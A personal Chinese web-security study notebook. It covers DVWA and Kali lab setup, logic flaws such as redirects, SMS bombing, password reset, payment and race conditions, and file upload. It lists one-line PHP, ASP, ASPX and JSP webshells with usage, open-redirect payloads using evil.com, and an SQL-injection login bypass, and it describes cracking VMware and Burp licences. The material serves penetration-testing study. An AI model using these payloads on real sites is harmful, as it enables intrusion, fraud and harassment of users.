web安全学习笔记(painter)
#学习总纲
1、边学习,边挖src
2、课程学习只是了解的过程,让我们有个概念,但是学习的时候笔记需要做好,方便以后需要查看细节、具体命令的时候可以查找
3、涉及到一些漏洞的讲解,比如url跳转、任意密码修改、越权、支付漏洞等,其中涉及到payload的,直接利用即可,因为靶场是后面搭建的,一些漏洞页面都没有,仅仅是为了让我们了解,所以直接利用payload即可,无需搞懂payload怎么来的,因为没有漏洞页面给我们使用。
.
第一章:环境和工具安装
1、vm的安装和破解
vmwareworkstation下载15系列即可,16系列win7无法使用
vmware的破解:百度随便一个激活密钥都可以
易错点1:
安装vmtools,会提示啥没权限,提示“Alias manager and ticket service(VGAuthservice)启动失败,请确保您有足够的权限启动系统服务。
解决方法:安装微软运行库微软常用运行库合集? https://www.duote.com/soft/330683.html
易错点2:
安装win10,在创建win10虚拟机后,打开虚拟机,没有显示安装界面,而是bios界面
解决方法:将固件类型改为bios
2、安装kali
1、添加kali虚拟机:(也可以通过下载kali的虚拟机直接导入即可,免去了安装的等待时间)
2、选择稍后安装
3、选择linux–debian 7.x 64位
4、设置名字和安装的目录
5、性能配置:稍微大一点,4个内核,内存分配2g
6、选择nat网络模式
7、剩下2个默认即可
8、创建新虚拟磁盘—80g—将虚拟磁盘存储为单个文件
9、自定义硬件—打印机没什么用,移除
10、设置cd/dvd
11、正式开始安装kali系统
意见建议:在这里可以先将kali内存调整大一些,这样安装系统会快一些,安装完了再调整回来即可,我这里先设置为6g
12、开启虚拟机–第一个图形化安装
13、简体中文–中国—汉语
14、设立主机名(kali)—域名不用输入,空着–设立用户名全名(kali)–设立用户名(kali)–设立密码(kali)
15、使用整个磁盘(默认)–所有文件放在一个分区中(默认)–下图界面直接点击继续
16.改为写入磁盘,选择 “是”
17、软件选择:默认即可,不要乱动
18.默认将GRUB安装到主驱动器(选择 是)
19.选择dev/sda
20、更新kali源:
vim /etc/apt/sources.list 打开更新源的存储文件
1、打开后,在键盘上按下‘i’即可进入编辑状态,将光标移到最后,然后右键粘贴新的更新源即可
2、保存并退出:编辑状态下按下ESC,然后输入 :wq 即可
3、更新源的地址如下:直接拷贝即可
1 | #中科大 |
21、用命令更新一下更新源:apt-get update
补充:linux常用命令
passwd root 修改root用户密码
最后,完全安装完成后,安装vmtools,然后拍摄快照
3、安装win7
目的:为了打开不明文件,和当做靶机使用
win7的安装:一定要选择安装版
win7:http://www.winwin7.com/Win7QiJianBan/Win7AZB-2133.html
具体添加虚拟机的步骤和kali一样,分配内存的话可以小点,1g内存,20g磁盘,1核
4、安装win10
目的:为了打开不明文件,和当做靶机使用
win10的安装:一定要选择安装版
win10:http://www.winwin7.com/Win10/AZB-5191.html
具体添加虚拟机的步骤和kali一样,分配内存的话可以小点,1g内存,20g磁盘,1核
5、安装phpstudy
6、安装LAMP
lamp:linux+apache+mysql+php
Lanmp:linux+apache+nginx+mysql+php
Lamp的安装:这里直接用kali安装了
注意事项:安装前建议先做好快照,这样出问题后可以还原
一、安装apache
1 | apt install apache2 |
1、 查看apache的状态
1 | service apache2 status |
2、启动apache并查看状态
1 | service apache2 start |
3、至此,apache2安装成功
二、安装mysql
注意事项:kali默认安装了,若使用kali则不需要安装,只需要启动即可
1 | apt insttall mariadb mariadb-server 安装 |
三、安装php
易错点:kali已经默认安装好了,不需要再安装了
1 | apt -y install php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql php7.0-curl php7.0-json php7.0-cgi php7.0-gd |
易错点:出现无法定位软件包,此时需要更新源,更新源的时候需要把官方源注释掉
检查kali是否正确安装php
1、打开目录cd /var/www/html
2、创建文件 info.php方法一:vim info.php
然后输入内容并保存:方法二:直接命令行导入内容:echo ““ > info.php
3、浏览器访问:127.0.0.1/info.php 出现先得php探针界面就代表安装正确
将apache2和maridb添加到自启动:
1 | systemctl enable apache2 |
卸载lamp
1、卸载 mariadb:
1 | apt autoremove --purge mariadb mariadb-server |
2、卸载 apache
1 | sudo apt-get --purge remove apache-commsudo apt-get --purge remove apachesudo find /etc -name "*apache*" |xargs rm -rfsudo rm -rf /var/wwwsudo rm -rf /etc/libapache2-mod-jksudo rm -rf /etc/init.d/apache2sudo rm -rf /etc/apache2dpkg -l |grep apache2|awk '{print $2}'|xargs dpkg -P |
3、卸载 php:
1 | apt --purge remove libapache2-mod-php7 php7 php7-gd php7-mysqlapt autoremove php7sudo find /etc -name "*php*" |xargs rm –rfdpkg -l |grep ^rc|awk ’{print $2}’ |sudo xargs dpkg -P |
最后用 dpkg -l | grep php 和 dpkg -l | grep php5 检查,如无返回即干净卸载
7、安装java环境
作用:后续的burpsuit的使用需要该环境
要求:必须要版本为jdk8 的才行
安装:Java SE - Downloads | Oracle Technology Network | Oracle 中国
xu’an’z
1、更改安装路径,路径要记下来,后续经常要找该目录
2、在java的目录下新建一个jre目录,版本号保持和jdk一样,这两个目录必须要在一起,否则会导致各种问题
3、安装完后,安装界面会自动关闭,此时需要去jre的目录下,看是否有内容,有就代表安装成功了
4、添加环境变量:
变量名:JAVA_HOME 变量值:jdk的路径,我的是:D:\Java\jdk1.8.0_251
1 | 变量名:CLASSPATH 变量值:.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar(第一个分号前前面有一个点) |
5、修改变量path的值
在path的值最前方加入:
1 | %JAVA_HOME%\bin;%JAVA_HOME%\jre\bin; |
6、命令行验证看变量是否添加成功:cmd命令窗口输入 java -version 出现版本号即为配置成功
8、安装python2和3
易错点:python3.8.7之后的版本不能安装于win7
python2下载2.7即可,根据自己操作系统的版本下载对应的python3的版本,我这里因为是win7,所以只能下载py3.8.7
Python2和python3直接去官网下载即可
Python2.7的安装:
1、为所有用户安装
2、更改安装目录,我这里直接在d盘新建一个python目录,到时候python2和python3都安装在该目录
例如:D:\python\Python27\
Python3的安装
1、勾选“将python3.8添加到变量”,并且选择自定义安装
2、默认
3、选择为所有用户安装,并且更改路径
配置python2和python3的环境变量
1、将python的安装目录和Scripts目录添加到path变量的开头
易错点:每个值后面都要用分号 “;”进行隔开
我这里是:D:\python\Python27
D:\python\Python27\Scripts
2、python3:因为安装的时候勾选了添加到变量,所以这里就不需要配置了
Py2和py3调用区分
Py2:在py2的安装目录了,建立一个python.exe的副本,并将副本命名为python2.exe
Py3:和python2一样,建立一个python3
9、DVWA靶场安装
DVWA环境要求:lamp环境,所以这里直接在kali中部署
1、下载地https://codeload.github.com/digininja/DVWA/zip/master
易错点:有时候网站打不开,可以通过别人的分享下载
2、将压缩包拖入kali桌面中,前提是我安装了vmtools
3、命令行切换到桌面:cd /root/桌面
4、将压缩包解压:unzip DVWA-master.zip
5、mv DVWA-master /var/www/html/dvwa
6、切换到dvwa目录并查看该目录内容:
1 | cd /var/www/html/dvwa ls |
7、启动apache2
1 | 启动:service apache2 start查看状态:service apache2 status |
8、启动mariadb
1 | 启动:service mariadb start查看状态:service mariadb status |
9、浏览器访问dvwa http://127.0.0.1/dvwa/
报错:提示没有发现配置文件
解决方法:
在dvwa目录下找到config.inc.php.dist,发现它在config目录下,我们切换进去,并且复制一份,重命名为php格式
10、再次浏览器访问dvwa,发现还有多处需要配置
11、配置php
function allow_url_include
修改配置文件:
1 | vim /etc/php/7.4/apache2/php.ini 接着再vim界面输入:/allow_url_include 搜索到之后,按下enter,再按下i即可进行修改将off改为on重启apache2服务:service apache2 restart |
配置PHP module gd:
安装php-gd:apt install php-gd -y
重启apache2:service apache2 restart
12、配置mysql
编辑dvwa配置文件:vim /var/www/html/dvwa/config/config.inc.php
配置mysql的账号和密码,密码设置为dvwa,后面会有操作创建该账户和密码的
13、配置reCAPTCHA key
这是谷歌的一个证书,用来验证人机登录的,因为自己申请被墙了,所以直接百度找了一个。
1 | $_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';$_DVWA['recaptcha_private_key']='6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ'; |
14、修改文件夹权限
uploads添加权限
1 | cd /var/www/html/dvwa/hackablechmod 777 uploads |
tmp添加权限
cd /var/www/html/dvwa/external/phpids/0.6/lib/IDS/
给tmp目录及目录下的所有文件添加权限:chmod 777 -R tmp
Config目录添加权限
1 | cd /var/www/html/dvwa/chmod 777 config |
15、创建一个dvwa的数据用户
易错点:确保该用户名和密码和dvwa的配置文件里的一样
进入mysql:输入mysql
创建用户dvwa@localhost,密码dvwa
1 | create user 'dvwa@localhost' identified by 'dvwa'; |
1 | 赋予权限:grant all privileges on *.* to ‘dvwa@localhost’;刷新权限:flush privileges;易错点:上面的命令,最后面的分号“;”不能少 |
16、重启mariadb和apache2
1 | service mariadb restartservice apache2 restart |
17、浏览器访问dvwa,点击下发的创建数据库,等待一会,就会跳转到登录界面,就代表配置成功了。我们可以使用默认账户admin和密码password进行登录
DVWA的日常开启:
service apache2 start
默认密码:
admin password
gordonb/abc123
1337/charley
pablo/letmein
smithy/password
windows下安装:建议使用phpstudy2018,别使用phpstudy8.0,不好用,容易出错
1、下载,解压,改名为dvwa,然后放到www目录
2、修改配置文件后缀,改为php后缀
3、打开config配置文件,修改数据库密码为dvwa
4、本地访问:127.0.0.1/dvwa
5、看到页面有两个红色的状态,表示一些配置需要更改
将allow_url_include设为on状态
首先打开php.ini,在phpstudy里修改,我这里以phpstudy2018来演示
6、修改recaptcha_public_key,这里使用网上找的,
1 | $_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';$_DVWA['recaptcha_private_key']='6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ'; |
7、创建数据库账户,根据config配置文件来创建对应的数据库名、用户、密码
执行命令:
1 | create user 'dvwa@localhost' identified by 'dvwa'; 创建dvwa数据库用户,密码也为dvwa grant all privileges on *.* to 'dvwa@localhost'; 赋予权限 flush privileges; 刷新权限 |
8、重启apache,刷新页面,发现没有问题了,接着点击下面的create
9、登录:admin password
10、安全工具的安装
1、Burpsuit的安装
安装包:详见下发的工具包
工具资料-Hetian\合天工具库-Hetian\代理抓包\BurpSuite2.1.07
Burpsuit的破解:
1、点击破解程序:burp-loader-keygen-2_1_07.jar 然后点击右边的run
2、复制粘贴license
3、点击从左到右第三个按钮
4、按照图示操作
5、至此,破解成功,以后每次使用burp,直接打开burp-loader-keygen-2_1_07.jar 就行了
安装burpsuit的证书:有这个证书才能抓https
1、查看并记下ip和端口:127.0.0.1:8080
2、打开专用版火狐,新建代理
3、打开burp的拦截按钮
4、访问http协议的网站即可抓取
5、访问https的发现无法抓取,此时就需要安装证书
6、安装证书:在拦截状态下访问:http:burp ,右上角点击下载到桌面
7、将证书导入到火狐
8、选择 信任该标识的网站
9、测试https://www.baidu.com 抓取成功
易错点:
1、burp里的代理无法勾选或无法抓包
请检查是否开启了多个burp
第二章:web安全基础
1、burp的简单实用/爆破弱口令
预习笔记:
暴力破解核心:服务器对我们的多次请求不做限制,所以我们每次在暴力破解前最好对包进行重放测试,用compare模块
1、burp的作用:类似于中间人,客户端和服务端之间的数据交互会经过burp
2、暴力破解的核心:字典,字典需要收集
3、compare模块:比较2个数据包的差异
4、repeater模块:发送多次请求测试服务器的响应(暴力破解前必须要做该步骤),主要是用来多次发送请求
5、intruder模块:暴力破解模块
课程笔记:
常用模块
Target:显示目标的目录结构
Proxy:拦截模块,拦截的包都在这里,可以选择拦截的开启,关闭,丢包,放行,可以将这里拦截的包,右键–发送到需要的模块
Spider:用于爬虫,爬取内容和功能
Scanner:扫描web应用的漏洞
Intruder:主要用来模糊测试、xss、sqli、暴力破解
Repeater:重放模块,分析web的响应
Decoder:编码、解码
Compare:对两个包进行比对,寻找不同
Extender:用于加载拓展的模块
Options:burpsuit的一些设置
易错点
1、在加载字典时,无论是paste或者load之前,都应清空列表里已有的数据,它并不能自动清除,若未清除,则会叠加,会增加字典的长度
2、怎么找到正确的账号密码(结果)?
并不是简单的点击长度排序就行了,一般正确的包状态码可以是200/302/301,并且包的长度是唯一的,明显和其他包不同。
2、http、https协议介绍
预习笔记:
1、访问www.baidu.com的流程
首先浏览器向dns服务器解析域名对应的ip,然后通过该ip访问该域名对应的web服务器,此时就是通过三次握手进行数据的交互
2、请求方法
Get请求
Post请求
3、状态码
200请求成功
301:资源原本存在,但是现在被永久性的转移到其他地方了
302:资源原本存在,但是现在被临时性的转移到其他地方了
400语法错误
401未经授权
403拒绝服务
404请求资源不存在
500内部服务器错误
4、get和post的区别
Get请求的数据在地址栏里显示,地址栏改变;
Post请求的数据在http的包里面,地址栏不会改变;
5、http是无连接的:每次连接只处理一个请求,即处理完用户的请求和应答后,就会断开连接
6、http是无状态的:比如每次都需要在包里发送cookie,因为它是没有记忆功能的
7、请求消息的组成:请求行、请求头、空行、请求数据
8、相应消息的组成:状态行、消息报头、空行、响应正文
9、Get、post、http详解
http是基于tcp传输数据的,tcp就相当于汽车,但是全部都一样的汽车会造成会造成混乱,所以就有了交通规则http,规定进行post请求就需要给汽车贴上post标签,其他请求同理。并且规定,get请求需要将货物放在车顶,post需要将货物放在车厢内。
同时,互联网中还有各个运输公司(浏览器、web服务器),他们也制定了标准,对url的长度也就是运送货物的重量进行了限制,浏览器大都限制url为2k个字节,而web服务器最多处理64k大小的url,那么超过的部分怎么处理?一般都不处理。
并且get是发送一个包,而post是发送2个包,相当于get是直达的,而post在正式运输货物之前会和web服务器打个招呼,然后才开始运输货物,表面看起来get比post更有效,但实际上这多一个包所导致的时间几乎可以忽略不计,并且post在包的完整性方面,更加的有优势。
课程笔记:
三次握手:主要是用来建立连接
浏览器:我请求建立连接(第一次握手)
web服务器:你的请求我已经收到了,你的请求有效,我同意建立进行连接,接下来我将建立连接了(第二次握手)
浏览器:ok,我收到了你的信息了(第三次握手)
四次挥手:主要是用来释放连接
浏览器:我请求释放连接(第一次挥手)
web服务器:你的请求我已经收到了,请求有效(第二次挥手)
web服务器:最后再提醒你一下,我即将释放掉连接(第三次挥手)
浏览器:好的,谢谢啦,我知道了(第四次挥手)
Url的组成
URI
URI由URN和URL组成,所以所有的URL都是URI,但是并不是所有的URI都是URL
URN举例:
Tel:+1-816-555-1212
http请求和http响应的组成
X-Forwarded-For
X-Forwarded-For的作用就是服务器来获取客户端的真实ip的,无论客户端是否使用代理,都会通过X-Forwarded-For回查到真实ip,这是因为在我们通过代理服务器时,服务器会自动给我们的请求头里加上X-Forwarded-For:我们的ip ,后面如果还有代理,会在该X-Forwarded-For后面新增ip,然后就导致服务器可以通过这条关系追查到我们的真实ip,这样一些需要内部ip才能访问的服务我们就不能访问了。
解决办法就是,我们在初次发包的时候,就构造一个虚假的X-Forwarded-For:虚假ip,该虚假ip可以根据你所针对的内部网页需要的ip来设置。
此题:我抓包后,发送到repeater并发送,发现页面提示:this page only accept come from localhost 意思就是该页面仅仅支持内部的本地ip访问
所以我们可以通过构造一个本地的ip:127.0.0.1来绕过
在包下面添加 X-Forwarded-For:127.0.0.1 然后发送,发现成功进入
https:相当于http的安全版
https的优缺点
优点:传输的数据是加密的,增加了中间人攻击的成本,可以防止数据被窃取和修改,保证了数据的完整性,还可以防止流量劫持;
缺点:用到的证书是收费的;费时,打开页面变慢;消耗cpu和内存资源多
Cookie和session
Cookie:由服务器生成,存储在浏览器里
内存cookie:浏览器关闭就会清空
硬盘cookie:存储在硬盘中,有个过期的时间,除非用户手工清理或者该cookie过期了才会无法使用
Cookie的缺点:cookie会附加在每个http请求中,增加了流量;同时http请求中的cookie是明文传输的,所以存在安全问题(使用https可以避免);cooke有大小限制,限制为4kb左右,所以无法用来存储大量的数据
Cookie的生成与存储
当我们访问一个网站,浏览器会查找是否有该网站的cookie,有就将其附加到本次的http请求头中,服务器会根据我们请求头里的cookie来响应你的请求;但是如果是初次访问一个网站,我们也就没有该网站的cookie,所以这第1次请求中,将不会附加cookie,当服务器接收到这条没有cookie的请求后,将会发给浏览器一个响应,其中响应头里有个参数set_cookie,当我们的浏览器接收到该响应的时候,就会根据该响应头中的set-cookie设置,将cookie储存在浏览器中。此时如果我们再次访问该网站,那么这次请求中就会附加cookie
总结:修改cookie的前提是请求包中有cookie才能修改,不要自己去新增,若请求中没有cookie,刷新一下浏览器,重新抓包后就有了,然后再修改cookie
Session
由服务端生成,并储存在服务端,安全
Put请求:对服务器文件进行新增或修改
作用:利用put方法,我们可以在对方的文件夹下传入恶意文件,例如一句话木马,或者修改对方网页的内容
易错点:
1、首先,put方法并不是从我们的本地计算机上传一个文件,而是通过在请求包里插入请求数据,写入put新增的文件里去,来达到变相的上传或修改
2、其次,写入数据需要和请求体中间空一行
未修改前:
通过PUT修改该页面的内容
访问刚刚上传的1.txt,即:http://39.108.86.16/upload/1.txt
第三章:逻辑漏洞(logic loophole)
特点:逻辑漏洞用合法的方式来达到破坏的效果,比如密
码找回,用户登录验证等功能由于程序设计的不足,这一类
漏洞一般的防护手段或者设备无法阻止,漏洞扫描器也难以发现
1、url跳转漏洞
实际意义:构造好url后,完全可以发送给其他人,让他们点击
预习笔记:
1、url跳转漏洞有多种绕过方式,当我们发现一个存在跳转的页面时,除了正常测试,还可以用下绕过的方法:https://www.anquanke.com/post/id/94377
2、当我们使用点分十进制ip来进行跳转,却发现无用时,可以将其转换为纯十进制来实现绕过,在线转换地址:https://www.ipaddressguide.com/ip
Url跳转漏洞利用:
首先是得寻找到这些跳转的地方,一般是登录,分享、收藏,或者超链接跳转等地方
接下来就是直接将跳转链接换成自己的,看行不行,不行就使用绕过的方法进行测试,? @ # 斜杠、反斜杠、双斜杠、白名单,点分十进制ip转换等方法进行测试。
课程笔记:
Url跳转漏洞也被称为重定向漏洞
Url跳转漏洞的实际应用场景:
1、钓鱼
2、Xss
3、Csrf
4、配合其他漏洞进行综合应用
Url跳转漏洞存在的常见参数:
redirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
Domain
Url漏洞绕过的方法:
url 跳转有时候会做一些限制绕过 bypass,这里baidu.com假设为我们自己的页面
1 | 1. 利用问号绕过限制:url=https://www.baidu.com?www.xxxx.me2. 利用@绕过限制:url=https://www.baidu.com@www.xxxx.me3. 利用斜杠反斜杠绕过限制:url=http://www.evil.com/www.xxxx.me4. 利用#绕过限制:https://www.baidu.com#www.xxxx.me5. 利用子域名绕过:https://www.baidu.com.xxx.com6. 利用畸形url绕过:https://xxxx.me/redirect.php?url=http://www.evil.com\.xxxx.me7. 利用跳转ip绕过:https://www.ipaddressguide.com/ip8. 利用xip.io绕过 http://www.qq.com.127.0.0.1.xip.io/ |
2、短信轰炸漏洞
产生原因:没有对短信的使用时间和短信的发送频率做限制
原理:抓到服务器发送短信的包,然后抓包,进行不停的重放
绕过技巧:
1.尝试在 mobile 参数后面加 %20 即空格
尝试在 mobile 后面加字母等
尝试对参数进行多次叠加
利用调用接口绕过短信 & 邮箱轰炸限制
比如这样的参数:terminal=01&Mobile=XXXXXXX,前面的接口是调用短信发送内容的接口,比terminal 参数值为 01 是调用注册成功的短信提示,02 是调用密码重置成功的短信提示,03 调用注册成功的短信提示等等当修改这个接口值时也就达到了短信轰炸或邮箱轰炸的目修改 Cookie 值绕过短信 & 邮箱轰炸限制
有些可能不是直接验证手机号来判断次数,而是验证当前 Cookie,利用当前 Cookie 来进行验证发送次数的话,很容易造成绕过,如果验证的不是登录状态的 Cookie 而是普通状态下的Cookie的话就可以通过修改 Cookie 达到绕过验证。修改 IP 绕过短信 & 邮箱轰炸限制
有些同样是验证当前 IP 的,如果当前 IP 短时间内获取短信或邮件频繁或者达到一定次数的话就会出现限制,那么就可以利用修改 IP 或者代理 IP 来进行绕过限制。利用大小写绕过邮箱轰炸限制
前面说到了关于加空格的绕过限制,邮箱也可以用,但还有一种方式可以绕过邮箱轰炸限制,那就是通过修改大小写,通过修改邮箱后面字母的大小写就可绕过限制,比如参数是这样的:email=xx@qq.com 当次数达到限制时,随便修改一个字母为大写:email=xx@Qq.com 就可绕过限制修改返回值绕过短信 & 邮箱轰炸
比如发送成功后返回值是 success,发送失败的返回值是 error,那么当达到次数后,可以通过修改返回值为正确的返回值:success,从而绕过限制,达到发送成功的目的。
3、任意密码修改漏洞
课程内容:
漏洞场景:
1.验证码可爆破
表现:验证码四位,服务端未对验证时间次数进行限制(出现次数较多)
表现:验证码六位,但是不过期(时间很久),并且没有对验证的次数进行限制
表现:验证码可以发送多次,而且每次都不会过期
利用:使用 burp 的爆破模块,或者自己编写脚本
修复:使用六位验证码,限制验证码认证次数
2.验证码回传
重置密码时,凭证为发送到手机上的验证码,但是通过拦截发送验证码请求对应的 Response包时,发现验证码在 Response 包中。
具体表现:
解决方案:修改包的返回规则
重点:注意是凭证,有时候返回包中凭证可能在 cookie 里面,也有可能在其他地方。
示例:dedecms 任意密码重置
3.验证码未绑定用户
输入手机号和验证码进行重置密码的时候,仅对验证码是否正确进行了判断,未对该验证码是否与手机号匹配做验证。
表现:任意账号都能够接收到验证码并能够使用A手机的验证码,B可以拿来用
4.用户混淆
5.本地验证绕过
客户端在本地验证验证码是否正确,而该判断结果也可以在本地修改,最终导致欺骗
客户端,误以为我们已经输入了正确的验证码场景:
1.验证码返回在前台进行对比
2.验证码在 js 里面直接进行对比
3.直接修改返回包
- 跳过验证步骤
成因:对修改密码的步骤,没有做校验,导致可以输入最终修改密码的网址,直接跳转到该页面,然后输入新密码达到重置密码的目的。
测试:首先使用自己的账号走一次流程,获取每个步骤的页面链接,然后记录输入新密码的对应链接。重置他人用户时,获取验证码后,直接进入输入新密码对应链接到新密码的界面,输入密码重置成功
7、token 可预测
成因:使用邮件接受重置密码的链接时,一般都会带有一个 token 用于判断该链接是否被修改过。如果 token 可以预测,那么攻击者可以通过构造链接来重置任意的用户密码。
表现:
1.基于时间戳生成的 token
2.基于递增序号生成的 token
3.基于关键字段生成的 token
4.token 有规律
8、 同时向多个账户发送凭证
表现:将发送验证码的包截获,修改字段添加多个账户,再发包。发现所写的有效字段均发送了凭证
9、接收端可篡改
重置密码时,凭证会发送到手机上,通过替换手机号,可以使用自己的手机号接受验证码
10、万能验证码
这是可遇不可求的奇葩场景,某些开发在未上线前为了方便测试加了 888888、000000 这样的万能验证码但是上线后没去删除测试的内容,导致被恶意利用。
4、任意用户登录漏洞
适用场景
1.手机登录验证码回显
跟任意密码修改漏洞类似…….在手机验证码登录的时候有一个验证码回显直接用验证码登录
2.修改返回包可以登录
案例:U 付钱包客户端任意用户登录
首先在重置或者登录的时候抓登录包
然后修改返回包,把错误的变成正确的
服务器被欺骗,登录成功
通过遍历 id 可以登录
通过修改对应的 userid 号,利用修改其他的 userid 进行登录。
实例:vlcms_1.2.0 任意用户登录首先注册账号
访问地址:
http://127.0.0.1/vlcms/index.php?s=/member/res_login/post:uid=60
修改 uid 登录任意用户
sql 注入万能密码
1 | 原理:select id from users where username = 'admin' or 1=1 #' and password = ''.......利用 sql 注入语句 admin' or 1=1 #组合语句 |
6.系统默认弱口令
系统在搭建的时候,设置了默认口令。例如 123456 等这种密码,或者是默认的强口令,asfaqwezcz1231 这种,但是密码是通用的就可以利用这个密码进行登录任意账户(经常出现某些国企,公司,学校等单位)
7.撞库
不同的系统有可能会用一个相同的数据库,例如 4A 的统一认证,拿到了一个系统的数据库用户即可通用,或者旧密码未改动,可以通过社工库等查询到旧密码,进行撞库。
8.cookie 混淆
在登录的时候是根据cookie 中的某一个字段来进行判断登录的角色,这个cookie 的字段可以自己任意修改,最常见的就是userid 字段。
5、越权漏洞
越权访问漏洞,又可以分为横向越权访问漏洞与纵向越权访问漏洞两类。一般是指一个正常用户 A 可以操作另外一个用户 B 才能做的事情。
产生原因:越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。
平行越权:通俗说,就是用户A可以查看修改用户B的一些数据。在发送请求时观察请求参数,尝试修改用户 id 或者其他参数验证是否能查看不属于自己的数据,进行增删改查,若成功则存在平行越权的漏洞
垂直越权:主要体现在登录的时候,拦截普通用户的登录请求,然后将其中的代表身份的标识改为admin或者其他用户的标识,就可以实现垂直越权,在发送请求时观察请求参数,尝试修改用户 id 或者其他参数验证是否能查看不属于自己的数据,进行增删改查,若成功则存在平行越权的漏洞
越权漏洞的利用
流程:
抓包修改id
重点:明白每个参数的作用,再根据参数来寻找越权
技巧:
一个站里面很多包的参数命名可能是通用的,或者变化不大的,寻找包里的身份验证参数,然后修改
易忽视点:一些id并不是只能在我登录该账户才能看到,实际上,评论里也会有其他用户的一些身份id,当我们在一个有很多评论的页面,刷新页面并抓包,会发现这些评论的用户的身份标识都出来了
6、支付逻辑漏洞
常见的漏洞
1、修改商品的价格
原因:价格写在前端了,并且没有对商品价格进行验证
解决方法:将商品价格写在数据库,并添加商品价格的验证
2、修改商品的数量为-1
原因:未对传入的商品数量进行判断
特点:可以实现给我们的账户加钱
解决方法:在传入的商品数量进行判断,对于小于1的直接按1算
3、用低价的商品的价格购买高价格的商品
原因:对商品的编号未加密,
解决方法:修复方案:
1.对于传递重要的参数信息应当加密隐藏
2.传递多个参数之间应当检测数据的一致性
4、修改支付的状态
商品购买成功后,在商户(第三方支付平台)跳转到购物平台之前,通过repeater重放,可以实现一次付费,购买多次的效果
5、修改优惠券
6、其他类型
修改支付接口:比如一些网站支持很多种支付,比如自家的支付工具,第三方的支付工具,然后每个支付接口值不一样,如果逻辑设计不当,当我随便选择一个点击支付时进行抓包,然后修改其支付接口为一个不存在的接口,如果没做好不存在接口相关处理,那么此时就会支付成功
重复支付:类似试用卷,你试用完成或者主动取消试用时,试用卷会返回到账户当中
最大额支付:在设置的时候,商城的支付金额有上限,当输入 9999999999999 类似的一个超大数
的时候,可能会存在溢出,或者直接变为 0
7、条件竞争漏洞
条件竞争应用场景:
同时发包获取优惠卷等,可以绕过限制的次数
条件竞争利用到了多线程请求和逻辑上的错误,假设我购买A,A价值100元账户有100元,系统会先判断我的钱够不够,如果够,那么就可以购买成功,但是如果此时使用多线程,再加上网络延迟的影响,在上次购买时系统查询余额的时候,我开始了第二次购买,接着系统又开始第二次查询余额,漏洞即将爆发,此时如果第二次查询因为网络好,延迟低,结果在第一次查询之前就查到,那么实际上我的余额还是100,这时我的第二次购买就会成功,好吧,我们的主角上场了,第一次的查询总算查询成功,余额100元,所以第一次购买也就姗姗来迟的购买成功了,这就是用100元购买了2件A,本来只能买一件的。
上传文件,拿webshell
场景:很多服务端在处理一个上传的文件时a.php时,会将其临时储存在一个目录temp,接着再将该文件移动到上传专用目录upload,此时该文件在upload的文件名还是a.php,紧接着程序会将a.php重命名为a.jpg或者其合法的后缀。
漏洞利用点:我们就是要在a.php刚刚移动到upload目录的时候,访问到a.php,那么a.php因为被我们访问了,所以相当于被占用了,也就无法被重命名了,此时我们就可以getshell
时机的把握:我们首先拦截一个请求包,然后将其发送到intruder,清除变量,在x-forward的ip那里进行修改,将最后一个数字改成变量,然后加载数字字典,设置最小1,最大10001,也就是重复发包1000次,然后多线程也设置好。这样不停的请求,我们再在另外一个浏览器不停地访问图片的地址(upload下的地址),不停的刷新,总有一次会访问成功
第四章:文件上传漏洞
1、Webshell
- 根据文件大小分类:
一句话木马:代码简短,通常只有一行代码,使用方便
小马:只包含文件上传功能,体积小
大马:体积大,包含很多功能,代码通常会进行加密隐藏 - 根据脚本类型分类:
Jsp、asp、aspx、php
Webshell的特点:webshell一般不会在系统日志中留下记录,只会在web日志中留下数据传递记录
Webshell攻击流程:
- 利用web漏洞获取web权限
- 上传小马
- 上传大马
- 远程调用webshell执行命令
Webshell一句话木马
1 | PHP:易错点:eval前面的@符号可有可无,其次中括号里面的单引号也是可有可无 eval($_GET[pass]); eval($_POST[pass]); ASP:<%eval request(“pass”)%> ASPX:<%@ Page Language="Jscript"%><%eval(Request.Item["pass"])%> JSP:<%Runtime.getRuntime().exec(request.getParameter("i"));%> |
易错点:
1、该实验中,最后自己安装phpstudy进行试验,有一点别忘记了,phpstudy的服务记得开启哈
2、一句话木马: 这里的@不能少,并且小括号里的是美元符号$而不是&,同时分号是在小括号外面的,这几个关键点都不能错
Webshell基本原理
- 可执行脚本
eval:将字符串按照php代码执行 - 数据传递
HTTP数据包($_GET、$_POST、$_COOKIES)
常见的php Webshell
1 | GET方式:eval($_GET[pass]); POST方式: assert($_POST[pass]); Cookie: @$a = $_COOKIE[1];@assert($a); |
怎么调用一句话木马?
1、菜刀等webshell工具连接
2、通过浏览器执行相关命令
1>如果是get方式的木马(一句话木马里的内容是get)
地址栏访问该木马文件,然后加上 ?a=phpinfo();
如:www.baidu.com/1.php?a=phpinfo();
这里的1.php就是木马文件,而a就相当于木马文件里的变量a,a=phpinfo();相当于将语句phpinfo(); 传到木马文件里的变量里,然后执行
2>如果是post方式的木马,则通过hackbar的方式 post数据
3>如果是cookie方式的木马,则通过设置cookie的方式来执行相关命令,这里cookie的名称是cookie,值为:变量名=命令,例如如果木马文件里的变量是a,则cookie的值可以为:a=phpinfo();
一句话木马、小马、大马三者之间的依存关系
一句话木马的使命就是用来载入小马的代码的,打个比方,我们可以通过一句话木马给其内部变量传递命令,那么如果将这个命令改为小马的代码,因为小马的代码内容就是在网站创建一个文件,让后给该文件写入内容,内容可以构造一个上传页面,所以我们接着可以访问该新创建的上传页面,然后就可以上传大马了,大马功能更多,各种骚操作
2、webshell管理
预习内容:
1、查壳
2、脱壳
在upx软件目录,按住shift+右键,打开命令行窗口,然后执行:upx.exe -d xx/xx/caidao.exe
然后再次查看是否有壳,此时发现没有
3、查看软件的字符串
在strings.exe的目录下打开命令窗口,然后执行:strings.exe xx/xx/caidao.exe
4、查看字符串里制定的内容
通过 3查看的内容, 发现太多,所以可以通过在3后面的命令加上搜索命令来查看指定内容
添加:|findstr 关键字
这里查看http的内容
这里查看chopper的内容
怎么分析菜刀里是否有后门?
